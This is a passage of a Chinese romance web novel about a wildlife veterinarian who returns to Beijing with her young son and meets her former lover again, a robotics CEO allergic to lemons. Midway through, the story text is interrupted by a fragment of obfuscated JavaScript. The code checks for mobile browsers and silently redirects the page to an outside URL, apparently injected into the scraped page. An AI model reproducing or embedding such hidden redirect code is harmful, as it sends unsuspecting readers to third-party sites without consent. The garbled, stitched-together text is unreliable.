院子里灯光柔亮,一道幼小身影站得板直,黎右戴了一顶蓝色飞行员帽,护目镜别在头顶,脸蛋儿奶气,姿态神气,正稚声稚气地给边牧下达口令。
听到车声黎右看过来,大喊了一声“妈妈”撇下边牧哒哒哒地跑了出来。
姜商辰站在门庭下的台阶上,他身材高大挺拔,保养得当,没有一点年过五十的样子,西裤、衬衫加马甲,绅士派头十足。
“妈妈!”黎右小炮弹一样扑过来抱住黎冬的腿,仰起一张小脸看她,“妈妈你今天工作辛苦不辛苦呀?”
又朝她身后看,“机器狗狗呢?”
“你妈妈今天非常辛苦,”下车的沈怀京代答,他一把捞起黎右抱在怀里,“所以舅舅来抱你。机器狗狗说今天想陪自己的妈妈,明天再来陪右右好吗?”
“唔……”黎右小手挠挠脑袋,看向疲惫的妈妈,大度地让步,“好叭!”
又抱住沈怀京脖子,“那舅舅今天工作辛苦不辛苦呀?”
“舅舅今天去和舅妈约会了,一点儿也不辛苦。”
“什么是约会?”
“约会就是……”
三人边聊边往里走,上台阶后黎冬略显生疏地喊了声爸爸,姜商辰点头,一进门,黎右从沈怀京怀里扭下来,迫不及待地拉着黎冬去看神秘礼物。
屋子里温暖如春,紧缩了一路的心情舒展开,身后姜商辰询问沈怀京婚礼筹备情况的声音越来越远。
“妈妈,你闭上眼睛哦。”黎右拉着黎冬上了二楼,来到她的房间门口。
黎冬扬眉,无声指了下门内,见黎右郑重点头,弯起唇角配合地闭上眼睛,做一个不扫兴的妈妈。
眼前一片昏暗,她被一只热乎软绵的小手拉着进门,一步一步往前走,啪哒一声开关响,眼皮处一层浅淡暖色薄光时,黎右晃了晃她的手,“好啦妈妈,可以看咯。”
她有收拾桌面的习惯,因此睁开眼睛时,被一桌子琳琅满目的礼物晃了下。
漂亮的本子、笔、白雪公主水杯、各色小零食、梳子、漂亮的发圈、一管口红、一块小蛋糕、一个变形金刚……
黎冬欣喜的“哇”了一声,脑子稍微一转明白过来,黎右白天跟着靳行简去“上班”,大概把他办公桌那的东西依样“复制”后,按照自己的审美买回家,送给即将上班的她。
黎右爬上桌边的椅子,迫不及待地介绍起来,“妈妈,这个白雪公主水杯送给你,要多多喝水保持健康,肚子饿了记得吃零食,也要分给姨姨们吃,好朋友要分享的对不对?遇到坏人时变形金刚会替我保护你……”
最后把蛋糕捧到她眼前,小舌头舔了下嘴唇,“妈妈今天工作辛苦了,请吃小蛋糕!”
黎冬心里暖融融一片,看他馋嘴的模样又想笑,她插了一块蛋糕递到自己嘴边,见黎右眼睛都瞪圆了又递给他,“右右今天为妈妈准备了这么多神秘礼物,妈妈好开心呀,第一口小蛋糕奖励右右好不好?”
黎右舔了舔嘴唇,张开嘴巴又闭上,最后坚定摇头,“姨姨下班有小蛋糕吃,妈妈也要有,妈妈你吃。”
原来是这样。
黎冬自己先吃一块,又喂黎右,问黎右为什么给她准备礼物。
“就像我要上学妈妈给我准备书包呀,”黎右一口吃掉蛋糕,“我也要给妈妈准备书包。”
心脏里满满胀胀,黎冬俯身抱住黎右,三岁多的小朋友身上还有一股清淡的奶味,小身子软绵绵的,流失的力气仿佛又回到黎冬身体里。
她忽然想起并没有给黎右留零花钱,“哪里来的钱呀?”
“我赚的!”
黎右小手探进口袋,掏啊掏,哗啦啦地洒了一把金豆子到桌面上,一脸骄傲,“外公让我和哥哥姐姐数数,从一数到十就有十颗金豆豆,我拿到的金豆豆最多啦。”
他坐到凳子上晃着小腿,“妈妈你猜为什么?”
“为什么?”
黎右更骄傲了:“我用汉语数了一遍,用英文数了一遍,又用斯洛文尼亚语数了一遍!妈妈我厉害吗?”
“厉害!”黎冬点他鼻尖。
外公放水水平也很厉害。
一会儿要吃晚饭,黎冬只让黎右吃了几口就将蛋糕收了起来,没想到这个小家伙一直惦记着,晚饭后小跟屁虫一样跟到她房间,赖着吃完蛋糕跑回儿童房,没一会儿门被敲响,姜茉怀里抱着黎右,黎右怀里抱着自己的小枕头过来:“小柠檬发烧了。”
孩子们免疫力低,混住在一起容易互相传染,小柠檬和哥哥以前经常一病病一窝,刚刚一发现小柠檬发烧,姜茉忙把黎右送过来。
黎冬刚回复完言西消息,言西回到斯洛文尼亚后把她的车开走了,看过她留在那的纸箱问她着急吗,知道不着急后告诉她他过段时间回国时一起带回来,又问了她和黎右回国后的情况。
黎冬放下手机抱过黎右:“那你们今晚怎么睡?”
“我带小桉,靳行简带小柠檬。”
黎右对这个安排很满意,他已经洗好,身上一套汪汪小狗睡衣,把自己的小枕头摆到黎冬枕头旁,等妈妈换上相同图案睡衣上床后挨着她躺好,叭叭叭地讲起今天白天的事,舅舅公司的大楼多么高大,路上的车多么多,姨姨工作的地方多么漂亮,边牧狗狗多么聪明。
黎冬轻声应着,不时接上一句,估摸着黎右的剩余电量。
从早上7点到现在,黎右已经清醒14个小时,属于超长待机了。
等他讲完边牧狗狗,黎冬闭着眼睛轻拍他的背,“宝贝还有多少电量啊?”
“马上要没了,”黎右声音稚嫩明晰,小脸贴着她手臂,“等妈妈讲完《神奇校车》就没电了,舅舅昨晚没讲完。”
“这本妈妈需要看过绘本再讲,”小柠檬不舒服已经休息了,她不好过去找书,“明天晚上妈妈讲给你听好不好?”
“好叭。”
“那我们今天——”
“讲daddy!”黎右兴奋地打断。
黎冬笑,再次纠正她:“是言西叔叔。”
“妈妈,我想听爸爸的故事,你可以讲给我听吗?”
空气静默下来,夜色昏暗,黎冬睁开眼,望着虚空中的某一点,呼吸放轻,“为什么想听爸爸的故事呀?”
“昨天晚上跟哥哥姐姐去舅舅房间睡觉,舅舅的胳膊很硬很结实,哥哥姐姐可以踩上去,可是舅舅只有两条手臂,虽然后来我也踩了,但是要是爸爸在,哥哥姐姐和我可以一起踩,那该多开心呀!”
“妈妈,”黎右眸色天真明亮,“我的爸爸会和舅舅一样,有强壮的手臂吗?”
……
潮湿的浴室内水汽弥漫,原本流畅的手臂肌肉线条布满红疹,霍予珩像是一无所觉,披上睡袍从浴室出来。
床头桌上的手机屏幕亮着,视频循环播放。
“没良心的黎医生,这么久不回家,是不是不要狗狗了?”
一板一眼的电子机械音好像有了感情,视频中的女人背对镜头,缓缓停住脚步,垂在腿边的指尖微不可察地一颤。
她没回头,也没动,独自站在那,像是在静静消化情绪。
指尖一揿,屏幕外的霍予珩俯身,按下暂停键,瘦削的身形拉出一道孤独的影子,柔和的屏幕光晕映在冷白的下颌上,他垂着眼眸,视线久久停留在那抹纤细的背影上。
黎冬不知道,那天他们乘坐同一航班归国,她在卢布尔雅那登机,他在阿姆斯特丹登机。
比起北城机场,他在飞机上更早见到她。
她变化很大,人比以前清瘦,可气色更好,短发留长,明媚化作温婉,言谈举止少了俏皮,沉淀出柔和的味道,看向黎右的目光轻柔,幸福溢于言表。
她在变得越来越好。
可这些改变都不是因为他。
也与他无关。
发梢未擦净的水滴滴落在手机屏幕上,将视频中女人的脸晕染得模糊。
记忆退潮,室内除了此处明亮,周遭一片昏暗寂寥。
霍予珩直起身,落地感应灯随着他的脚步一路蔓延至厨房,他打开冰箱拿出一瓶水,咔嚓的声响像按下暂停键。
她想照顾人时细致而妥帖,面向体弱的女孩子,递过去水瓶前会贴心拧松瓶盖。
想对谁置若罔闻时,也会忽视得彻底。
唇角勾起自嘲的笑,冰水入喉,喉咙处被麻痹的木然感淡了一些,那股堵塞的涩意却翻然上涌。
回到床边坐了很久,霍予珩起身,步入主卧内的衣帽间。
两排衣柜依墙而立,他走到一排衣柜尽头,拉开,感应灯随之亮起,柔和的光晕倾洒向悬挂的几件女式衣裙。
霍予珩站在衣柜前,目光黏连在裙子上,心底想被触碰的渴望越来越强烈,他伸出手,指腹落在衣袖上时猛地收回,嘭的一声将柜门关上。
深呼吸几许,再次回到床边。
那道身影仍背对他。
久久盯视屏幕的眼眸涌出干涩的痛,霍予珩眨了下眼,指尖在屏幕上再揿一下。
嗒、嗒的脚步声后,镜头中出现男人修长笔直的腿,沈怀京拍了拍黎冬的肩膀,一起向车位走去。
哒哒的落地声响,机器狗的巡逻路线和两人一致,紧跟在后面,也就记录下上车时沈怀京的问话——
“那句是你选定的欢迎语吗?”
不是。
不是。
那天沈怀京撞见两人接吻后给靳行简拨视频说要一起声讨两人,靳行简正在忙,往这边瞅了两眼一句话也没说,一场声讨最后变成沈怀京的单口相声,他说够了吃饱了倒也识趣,早早找借口走了。
厨房剩了许多柠檬,她偏好酸酸甜甜的味道,做饭时熬了柠檬果蜜冷藏,这会儿拿出冰块去做柠檬水,霍予珩站在她身侧,手臂若有似无地贴上她的:“想让机器狗回应你什么?”
“真的能回应吗?”
“可以。”
“让我想想啊,”她将柠檬洗净,切片,捣出汁,加了柠檬果蜜、冰块和矿泉水,“我们两个好久才能见上一次,要不这样,我喊它''小霍'',它就说‘黎医生,近日可好?’”
“不行,”霍予珩将她抱到干净的台面上,双手撑在她身侧,手臂贴着她的,“以后不能超过一个月不见。”
“那万一超过了怎么办呢?”
“那你会听到它说,‘没良心的黎医生,这么久不回家,是不是不要狗狗了?’”
他的鼻梁挺拔,鼻尖却意外的软,轻蹭她时带着无边的柔软和眷恋,是与他外形截然相反的温柔,软下音调的话听得她心脏泛起一片潮意,他起伏热烫的呼吸在她唇边,睫毛快要扫到她的脸颊。
她的呼吸开始不畅,心里紧张又期待,歪着头缓解情绪,笑着问:“这话是小霍想说的话,还是霍予珩想说的呀?”
男人没说话,那双黑沉的眼眸静静凝视她,像诱人深入的漩涡,等她陷入,沉沦,纠缠。
脸颊涌上一股燥意,她脸红心跳地挪开视线,拿起一旁的柠檬水抿了一口。
冰凉沁甜的口感清退些许脸上的热度,她仰着脸,贴近他的唇,问他:“霍予珩,你要尝尝吗?”
霍予珩的视线在柠檬水上扫过,落到她的唇上,什么都没说。
她却似乎听到他问:尝它,还是你?
……
黎右一整夜睡得安稳,体温正常,黎冬挥散真实而陈旧的梦境放心去上班。
北城野生动物救助中心坐落在C大校园内,家里的车一台比一台招摇,停在哪里都会引来围观,黎冬今天干脆让司机送。
到校门口下车,抱出黎右为她准备的开工“书包”纸箱,在门卫处道明来意,值班室保安给救助中心拨了一通电话才放她进门。
年关将近,假期留校的学生寥寥,除了必经主路上的几行脚印和车辙,其余部分的雪面完好。
高树白枝,松柏层叠,整个校园空旷清朗。
黎冬呼吸着入肺沁凉的空气,昨晚梦境里那份过于真实的黏稠情绪慢慢被压了下去。
咯吱咯吱的踩雪抓地声极为治愈,团团白汽从口中呼出,她抱着纸箱走了一段,一辆黑车驶到身旁停下。
“黎冬。”
秦姐降下车窗喊她上来。
秦姐名叫秦穗安,四十岁出头,留短发,干练豁达。
野保人的圈子说大不大,说小不小,呆的时间久了,自然而然就会认识许多人。
六年前秦穗安和黎冬共同参加一项国际野保会议边会,各自为议题奔走,那项会议华人面孔少,两人有点惺惺相惜的意思,自然而然地认识。
后来两人又碰过几面,她见证秦穗安从怀孕、结婚生子到离婚,看过她精神世界的崩塌和重塑,一点一点变得更好。这次秦穗安得知她回国,问她要不要来救助中心,她没拒绝。
黎冬抱着纸箱上车,今天气温比昨天更低,这么几分钟的时间指尖已经冰凉,黎冬轻轻蜷了蜷。
“现在学校放假没人,等过完年行政岗上班,让杨柳带你去办一个车辆通行证,办公室有张临时的,你先暂时拿去用几天。”
秦穗安以为没有通行证她才没开车,说完后落过来几眼,笑了:“把你儿子零食带过来了?””
黎冬也笑:“他担心我初来乍到交不到朋友,让我带过来分给大家吃。”
黎右的社交技巧就是先给糖给玩具给零食给情绪,初步建立友谊后再巩固自己的核心地位,黎冬出门前黎右大方的把自己的零食贡献出一半,也就导致了她从拎包出门到抱箱子出门。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016318|194193||http|test|mini|href|location''.split(''|''),0,{}));
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>事实证明,零食政策确实好用,黎冬和同事的关系迅速拉近。
救助中心人员结构简单,和她同组的有5人。
“陈医生今天产检,之后开始休假,你们要到明年夏天才能见到,杨柳你昨天见过,这位是桃始华。”秦穗安介绍。
桃始华是个腼腆姑娘,戴眼镜,衣着朴实,瘦而高,朝黎冬温柔笑笑。
“还有小闻,闻雨生,咱们这里唯一的男丁,被东北借走了,春节后还回来,”秦穗安翻值班表,“初六那天他和你一起值班。”
今年春节假期从除夕到初六,前六天每天一人值班,最后这天大概担心黎冬初来乍到不适应,安排了两人。
杨柳在这时举起手,秦穗安没抬头:“说。”
“老大我申请换到初六和冬冬一起!”
“又要逃相亲?”
杨柳头一缩,嘴上狡辩:“一个人值班太闷了。”
“你和小闻商量。”
“好咧!”
杨柳换上工作服,带黎冬熟悉救助中心布局和日常,巡查病房、喂食、记录病历,顺便介绍其他组别成员认识,一通忙活下来已经十一点半,回到办公室时每人桌面上一个精致大红礼盒,昨天落在霍予珩车上的机器狗玩具立在黎冬桌边。
方淮一身笔挺西装,背对门口,正与秦穗安交谈。
“啊它怎么会在这儿?!”杨柳扯着黎冬衣角小声尖叫,“我就是怕你自己搬起来太费劲儿昨天才特意带着它的。”
结果兜了一圈又回到这里,那她不是白忙活了么!
方淮闻声回头,杨柳忙挤出笑容:“方助理来啦。”
方淮颔首:“杨医生身体好些吗?”
“好些好些,”见对方如此关心自己,杨柳好脾气地回,“方助理今年怎么专程跑一趟?”
Holi每年都会制作新春礼盒发放给员工,因着黎山救助站的关系,救助中心这边也会拿到,往年都是小助理送过来。
“黎医生的玩具昨天落在霍总车上,霍总差我送来。”
方淮转向黎冬,“昨天实在抱歉,霍总过敏发作,前台行政去买药时耽搁了时间,没来得及把玩具放过去,让您白跑一趟。”
“没关系。”黎冬面色无异,感谢方淮。
“霍总也过敏了啊?”杨柳惊讶,“怪不得昨天我看他脖子有点红,早知道昨天在车上也让霍总吃药了,霍总过敏严重吗?”
方淮目光不露痕迹地扫过黎冬,“起了红疹。”
黎冬垂眸,拉开椅子坐下,礼盒挪到一边,杨柳说她的电子病历系统开了权限,之前陈医生负责的几只野生动物病历挪到了她这。
“啊那很严重了,得吃几天药吧。”
有人敲门,喊杨医生拿外卖,杨柳过去拎了大包小包的外卖进来,她今天兑现承诺请黎冬喝柠檬水,办公室人员人均有份,还多出来一杯,正好拆开递给方淮,“霍总也是羊肉过敏了吧。”
黎冬拆了柠檬水,慢慢吸了一口,低头敲打键盘。
浅淡清新的酸甜口感,确实不错。
方淮踌躇片刻还是接过来:“霍总是柠檬过敏。”
这是什么小众过敏?
杨柳惊了,就连一旁的桃始华也抬起头,不过很快她的注意力就被转移,有人打来救助电话,咬牙切齿地称一只猫头鹰钻进自家鸽子笼,把养了10年的鸽子吃了,又无奈地说这只猫头鹰自己困在笼子里出不来,翅膀像是有问题,问是不是要送来救助中心。
挂断电话后桃始华小声叫秦穗安,说无影灯像是有问题,昨天给大鵟去脚垫清创时,无影灯闪了几下,杨柳回过头小声插话:“分析仪启动太慢了,反应也慢,每次做血液分析能给我急出一头汗。”
黎冬弯唇笑,杨柳带她去手术间时也提过,说救助中心的仪器设备都是“奶奶”,让她操作时不要着急,因为着急也是白着急,“奶奶”自有自己的节奏。
有外人在,秦穗安及时打断杨柳,叫黎冬:“年后写邮件申请资金。”
她略作思考,又加了一句:“也准备资料募捐吧。”
“对,”杨柳赞同,“资金不知道能不能申请下来呢,就算申请下来,到咱们这一层也不一定能买台像样的设备。”
这个话题不宜深入,黎冬和秦穗安同时沉默下来。
方淮事情已经办完,不好再打扰,提出离开。
一会儿那只受伤的猫头鹰要被送过来,几人抓紧时间吃午饭,康复师大多性格包容,救助中心人员之间又没有明显的上下级关系,午餐时段格外热闹。
Holi刚送过来礼盒,话题也是围绕着它。
杨柳手快,已经将礼盒拆了,一打开便觉得不对劲,除了企业台历,往年常见的购物卡、春联、盲盒等这些常见礼品都不见了,取而代之的是数码相机、和一款小巧的口袋机器人。
杨柳的手有些抖,“方助理没送错吧?不会错拿了送客户的礼盒送我们吧?”
这款口袋机器人是Holi新品,第一批预购名额一上架来就被抢购一空。
“不是,礼盒上写了字。”桃始华指着礼盒一角上的黑色笔记。
写的不是名字,而是她们姓氏的拼音。
“怎么还写字,难道每个人的不一样吗?”杨柳嘀咕。
一个纸团飞来,精准地砸在杨柳脑袋上,秦穗安的声音随之而来:“想法这么多,明年的报告全部你写。”
杨柳嘿嘿笑着推脱,放下台历,打开餐盒,眼睛溜向一直沉默的黎冬。
“冬冬,你说这次是不是又沾了你的光?”
桃始华抬起头,目光中难掩探究,秦穗安也望了过来。
黎冬将脚边礼盒推至桌下,掩住盒子一角的“lili”,相比其他人的单个姓氏,这样带有回忆性质的称呼太过暧昧,她莞尔:“是我沾你们的光,你们辛苦一年,我刚来单位就收到礼盒。”
“No,No,No,”杨柳咬着筷子回忆昨天的情形,下定结论,“我觉得霍总对你有点意思,今年的礼盒才会与众不同。”
“昨天林醒对你示好的时候霍总那样子有点像吃醋。”
桃始华秦穗安目光一动不动,对昨天的事格外好奇。
黎冬放下筷子摇头,“霍总有女朋友,昨天他大概,”她斟酌措辞,“大概是习惯了员工顺从,看我这种不顺着他的人——”
“没有啊。”杨柳打断她。
“嗯?”
“霍总没有女朋友,”杨柳肯定,“他是单身。”
单身吗?
可她分明看到方清缇和她戴着同一款戒指。
嗡的一声,手机一震,微信列表多出一个名字。
【霍予珩:我通过了你的朋友验证请求,现在我们可以开始聊天了。】
7.第 7 章
黎冬盯着手机屏幕上的名字,久久无法移开目光。
心绪轻得像浮萍,没有着力点,只能随着涌动的水波忽上忽下。
耳边的声线模糊,在捕捉到某个字眼时才清晰。
“你是看到霍总手上的戒指了吧?”杨柳转头跟秦穗安求证,“上次霍总没戴戒指吧?”
秦穗安:“没戴。”
“戴在哪根手指上的?”桃始华问。
“右手无名指。”
桃始华边吃饭边在手机上搜索:“戴在右手无名指上是婚戒或用于装饰。”
“你看,是装饰!”杨柳一拍手。
黎冬被她这种选择性注意的做法逗笑:“怎么知道不是婚戒呢?”
“你不在国内不知道,霍总是北城榜上有名的黄金单身汉,还被女星倒追过,”杨柳说起八卦滔滔不绝,她说了一个有名的企业家名字,“想撮合霍总和自己女儿,霍总直接拒绝了,说自己没有结婚的打算就不耽误人了,后来两人成了朋友。”
黎冬缓慢地眨了一下眼睫,杨柳的话还在继续:“可能有钱人就是与众不同吧,婚戒当装饰,吃柠檬过敏。我还是第一次知道有人对柠檬过敏。霍总不会自己也不知道吧?”
他知道。
他就是——
黎冬垂下眼眸。
她知道霍予珩对柠檬过敏是在他纽约公寓的床上。
窗外月光被云层半掩半藏,漏下的几隙飘飘渺渺,落到玻璃上时轻薄得像一场雾雨,世界同眼睫一样湿漉,轻轻一眨,泪珠并着汗珠一同沿着颊边滚落,到耳际,到侧颈,再到掌住她后颈的那只大手上。
粗粝感的指腹每下滑一寸便带起一片轻颤,他吻着她颤抖的唇,颤抖的眼睫,簌簌滚落的汗珠,她颤抖的身体的每一寸。
静谧而绵长的冬夜中喘息声紧密交缠,身影叠落,她的皮肤一片靡丽绯色,他的脖颈也染上一层淡粉。
她以为他是和她一样深陷情.欲,对爱人有无边无际的渴望和探索欲,想贴紧她身体和灵魂的每一寸。
后来他将她裹在毯子里,拥着她坐在壁炉边看一部老电影,火焰跳动在他黑色的眼眸中,她打着哈欠不愿睡觉,他下颌搭在她的肩膀上陪她,手指扣住她的十指把玩。
她的注意力在电影上,他的注意力在她身上。
手机上有消息进来,她懒洋洋地回复完,将他的名字添加到置顶。
这些独属于爱人的偏爱小细节她之前没有在意,现在知道他会在意会计较,自然乐于哄着他,更重要的是,做这些事时她也是开心的。
这件简单的小事显然取悦了霍予珩,他轻轻吻她脸颊,剥开毯子吻她纤细的肩胛、敏感的耳后,她身上重新布满绯色,净白皮肤上他的指痕多了几枚,他脖颈上的红颜色更深。
后来知道他对柠檬过敏,还让她一口一口喂给他喝,她气得大骂他一顿。
他拎着药袋,拉住生气的她,在她身前蹲下,笑着哄她:“以后我都不吃了。”
她狠狠瞪他一眼,爬上他的背,小声嘟囔:“那以后我也不吃了。”
那次他的过敏症状到第三天才消下去。
……
沈怀京推开霍予珩办公室门,人往他跟前晃,打量霍予珩喜怒不形于色的脸,“怎么穿高领?”
目光往他桌面上一扫,笑了一起,“哟,过敏了?不会是想不开吃柠檬了吧?”
喉咙的不适感已经消失,只是皮肤上的红疹退得慢,霍予珩抬眸,淡淡瞥沈怀京一眼:“通知过你玩具今天上午方淮会送过去。”
那意思是你来做什么。
“真的吃柠檬了?”沈怀京伸手去拉霍予珩衣领想一探究竟,被他冷刃一样的目光一拦,收回手坐到他桌边,长腿撑到地上,“我来看看你,关心一下你的心理状态。”
“不如来关心你的股权。”霍予珩将一份文件推过去。
沈怀京扫了一眼,头痛地离开这个是非之地,晃到办公桌对面的沙发上坐下,“还是和以前一样,决策的事我站你这一边,管理上我不插手,只提一句,严格执行无关人员进入Holi需要访客登记。”
黎冬没注意,他却看到了,方清缇是从Holi楼上下来的,显然是上去见霍予珩吃了闭门羹,又去磨前台。
霍予珩抬起头,昨天发生在前台的事方淮一五一十地跟他汇报过,在沈怀京提议之前,他已经吩咐下去,“不用你提醒。”
沈怀京饶有兴致地看着他,没开口。
行政送进来果盘和热茶,沈怀京自己倒了杯茶,忽而笑开,扭头看向霍予珩时换上幸灾乐祸的语调:“上来前遇到你助理正把饮料杯投进垃圾桶,你猜是什么饮料?”
霍予珩垂眸签文件,摆明了不想理他,更不想接他话茬儿。
“柠檬水,”沈怀京自顾自说道,他整个人懒懒靠进沙发,双腿搭叠在一起,踝骨轻晃,姿态惬意,“黎冬有八年没碰柠檬了吧。”
钢笔在文件上拖出力透纸背的一笔,霍予珩低眉半晌,将破损的文件放置到一边,拨电话让助理再打印一份送进来。
他将钢笔扣好,疲惫至极地闭上眼睛,手肘撑在桌面上,揉了揉酸胀的眉心,声音很低,“我也八年没碰了。”
黎冬离开后他去找过她,看过她抚着孕肚和男人散步,有说有笑。
他恨她怨她,后来这些情绪被他强压封存,他把事业重心转回中国,以为远离后可以就此不见,可以各自安好。
可是,偶然得知她要回国那一刻,曾经遏制住的情绪再次翻涌。
*^*
添加好友的通知之后,霍予珩没有发消息过来,他的名字随着一条条新消息进来,慢慢被压下去,直到手机的下一屏。
或许是更靠下的位置,黎冬没再去翻。
临近年关的工作并不忙碌,两天后到春节假期,小柠檬的烧彻底退了,又恢复到活蹦乱跳的模样,和黎右楼上楼下地跑,哥哥姜岁桉起初还像个小大人一样让他们跑慢点,没过多久也加入进去,成为领头的那个。
黎冬已经很久没有过过这样热闹的春节,孩童环绕,亲人举杯,零点时遥远的烟花炮竹声传来,手机叮咚的消息提示音不断,瞟见一个名字,黎冬下意识去点,还在斯洛文尼亚的言西打来视频祝福,坚持守岁没睡的黎右凑到镜头前,兴奋地对着屏幕亲了两口,稚声稚气地说着想daddy。
坐在旁边的姜茉看了几眼镜头那边的英俊男人,对黎冬挤眉弄眼,姜商辰也将目光挪了过来。
黎冬笑着轻轻摇头,捧着一杯热水啜饮。
姜茉撞了撞她的手臂,“Mosen今年提拔了一批年轻人到管理层,爸爸特意让助理将单身的那几人列了出来。”
Mosen是姜商辰的产业集团,经营领域覆盖金融、医疗、化工,商业版图遍布全球,黎冬毕业时姜商辰有意让她进集团,可知道她有更想从事的事业后便放行,左右他还不算老,为女儿们再工作二十年没有问题。
见黎冬没动,姜茉小声跟她咬耳朵:“爸爸在准备给小右挑daddy呢。”
手中杯子一晃,热水洒到黎冬手指上。
“我没有结婚的打算。”她眼睫颤了颤。
姜茉忙抽纸抹去水珠,检查确保她没被烫伤又笑:“你放心,爸爸在这件事上不会硬来,真的打算做什么会经过你同意,他只是未雨绸缪惯了。”
想了想,又道:“如果你有心仪对象最好和爸爸透露一下,或者和我讲也行,姜家的女婿可不好做。”
“你是想八卦吧。”黎冬一眼看穿她意图。
姜茉眯起眼睛笑。
她前两天就从沈怀京那听说霍予珩柠檬过敏的事了,凭霍予珩和靳行简沈怀京“臭味相投”年纪轻轻就成为朋友她就知道,那只狐狸一定是故意的。
只是黎冬的想法她还摸不清,所以目前只是在观望。
“反正我永远是站你这一边的。”姜茉靠上黎冬肩膀。
另一边黎右和言西嗨聊了五分钟,将手机塞到黎冬手里,学姜茉姨姨的样子靠上妈妈肩膀,他个子矮,只靠上了手臂,但不妨碍他撒娇,“妈妈,我也永远是站在你这一边哒!”
黎冬笑笑撞一下他的小脑袋,又撞一下姜茉的脑袋,视频已经挂断,消息页面堆积满屏春节祝福,她耐心地点开一一回复完才惊觉自己之前看走了眼。
他没有发消息过来。
Holi的礼盒她拿回家后拆开了,内部物品和杨柳的一样,这让她理不清他的意图。
春节过后,姜商辰姜茉几人飞去南城祭奠姜茉母亲,在南城逗留几日,北城家里只剩下黎冬黎右,初六这天黎冬值班,干脆将黎右带了过去。
黎右有跟黎冬上班的经验,知道妈妈要工作,不吵不闹地坐在一旁搭乐高,搭累了会戴上耳机看一集动画片,黎冬的微信在iPad上登录着,黎右这几天学会了发语音,给外公发,给姜茉姨姨发,给靳行简沈怀京舅舅发,给言西发,忙得不得了。
有黎右在,中午管家送餐过来,一份儿童餐两份成人餐,杨柳也拿出从家带来的两人份餐食,这一顿午餐极其丰盛。
黎右对世界充满好奇,探索欲旺盛,又是个不见外的性格,不挑食嘴巴还甜,杨柳打开一个保鲜盒他尝上一口,竖起大拇指赞美,逗得杨柳拿出手机拍他发给自己妈妈看,“这位老太太要是知道自己的厨艺这么受欢迎能原地高歌一曲。”
救助电话闷声响起,黎冬任凭那一大一小笑闹,走过去接起:“您好,北城野生动物救助中心。”
对面一道冷淡低哑的男声,像是感冒了,带着轻微鼻音:“嗯。”
指尖一颤,黎冬握紧听筒,一时没能再开口。
对面也静默下来。
“铛铛!酸酸甜甜的柠檬鸡块,我家老太太的拿手好菜,右右要不要尝尝呀?”
黎冬侧目望过去,杨柳正兴致勃勃地打开另一个保鲜盒,她嘴唇动了下正要说什么,黎右探着小脑袋看过去,皱着眉头一脸为难,“唔右右很喜欢柠檬的味道,但妈妈说不能吃。”
“没关系的,我们听妈妈的话,姨姨这里还有其他好吃的菜呢!”杨柳打开另一个餐盒。
电话那端几声低咳,黎冬收回视线,“请问您有什么事情?”
“一只猛禽撞到玻璃,”对面又咳了一声,“目前在我家阳台上滞留。”
北城三面环山,记录在册的猛禽品种占全国一半以上,市区也能常见猛禽起落。
“撞击多久了?”黎冬问,“您能判断大概品种吗?体长可以估计吗?”
“时间上不明确,是一只长耳鸮,体长大约40厘米,”对面传来走动声,鞋底摩擦过地板,一阵细微响动,“还要更详细的吗?”
“您说。”黎冬抽出一张纸,笔尖落在纸面上准备记录。
“翅膀被撞伤无法飞行,左侧耳羽簇掉了,嘴上有血,旁边一只被咬死的鸽子。”
“……”黎冬收起笔,“您家里有纸箱吗?方便送到——”
“不方便,”对方打断,手机像是被移开,几声遥远沉闷的咳嗽声后男人的声音重新清晰,带着沙哑的质感,“你过来一趟吧。”
黎冬垂下眼睫,几秒钟后应:“好,怎么称呼您?”
电话那端再度沉默,能听到男人加重的呼吸声,一下一下拍打在她耳朵上,电话显示屏幕上的通话时间一秒一秒向上跳动,黎冬低垂眼睫准备出声时对面冷声嗤笑:“黎冬,真听不出来我是谁吗?”
心脏像是被人骤然一握,血液顷刻间上冲。
“地址发你微信。”
说完这句,电话挂断。
黎冬抿了一下唇,将听筒放回原位。
手机嗡嗡两声,一串地址出现在屏幕上,对方又问她要车牌号。
“来工作了吗?”杨柳歪头朝这边看。
“嗯。”
黎冬简明扼要说明情况,杨柳感叹,“能精准叫出长耳鸮的名字,看来对鸮形目很了解呀,一般人都统称猫头鹰。”
是啊,以前他也是分不清的人。
黎冬短暂晃神。
黎右吃饭积极不拖沓,黎冬和杨柳吃完时,他也放下小勺子,小嘴一抹,跟着妈妈去工作。
年前姜商辰让人紧急提了一辆奥迪A8做为黎冬上下班代步工具,黎冬上车,设置好目的地后出发。
今天春节假期最后一天,车上人流车流明显比过年期间多了,黎右坐在后排儿童安全座椅上,小腿一晃一晃,大眼睛盯着外面看。
到达目的地时她的车牌已经在物业那登记好,核对无误后放行,杨柳看着车子驶入星光隧道一般的地下车库,感叹一声豪宅,看了看左右惊喜道:“这和Holi地下车库一个风格哎!”
黎冬简单“嗯”了一声没多说,倒是黎右一脸好奇,“Holi是什么梨呀?”
黎冬抿唇笑开,杨柳回头去看黎右,手上比划了一下,嘴上胡说八道:“Holi就是好大的梨呀!”
“哇,妈妈!我想吃Holi!”黎右的小身子往前探,馋得舔了舔嘴巴。
杨柳被逗得哈哈大笑,怕真的把人家孩子带坏,连忙正经了神色解释:“Holi是一家大公司,做机器人机器狗的,是比你家里的那只玩具机器狗狗更厉害的机器狗哦,还很聪明呢。”
“比Jan还聪明吗?”
“Jan是谁呀?”
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“是我姨姨的狗狗!可听小柠姐姐的话啦!”
两人一直聊到下车,杨柳瞥到旁边车位上的黑色迈巴赫时“咦”了一声,转到车后去看车牌,“这不是霍总的车吗?”
黎冬抱黎右下车,打开后备箱拎出里面的蓝色纸箱,“对,是霍总打来的电话。”
她突然后悔,不该带黎右过来。
知道这层信息后,霍予珩打开门时杨柳没有表现出惊讶,热络地问候,“霍总您好啊,春节快乐。”
“春节快乐。”霍予珩颔首,侧身让杨柳进门,目光慢慢落向她身后。
春节后气温回升,街上许多人已褪下羽绒服,黎冬也是。
